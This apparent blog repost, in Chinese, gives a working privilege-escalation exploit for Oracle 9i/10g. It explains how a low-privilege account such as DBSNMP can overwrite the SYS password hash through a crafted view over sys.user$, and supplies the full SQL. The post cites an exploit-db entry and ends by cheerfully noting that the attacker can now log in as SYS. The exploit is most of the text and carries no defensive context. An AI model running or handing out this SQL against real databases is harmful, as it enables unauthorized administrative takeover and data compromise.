Oracle 9i/10g Oracle越权修改SYS密码

exp地址http://www.exploit-db.com/exploits/4203/
首先用一个低权限账户比如DBSNMP登录Oracle
然后执行SQL

create or replace view bunkerview as
select x.name,x.password from sys.user$ x left outer join sys.user$ y on x.name=y.name;
update bunkerview set password='8A8F025737A9097A' where name='SYS';
drop view bunkerview;
commit;

就可以用sys账户密码为oracle开开心心地登录Oracle了
本文摘自[找寻记忆]网站,原文链接“https://www.liloufan.com/jishu/2016/10/08136.html”转载请保留出处.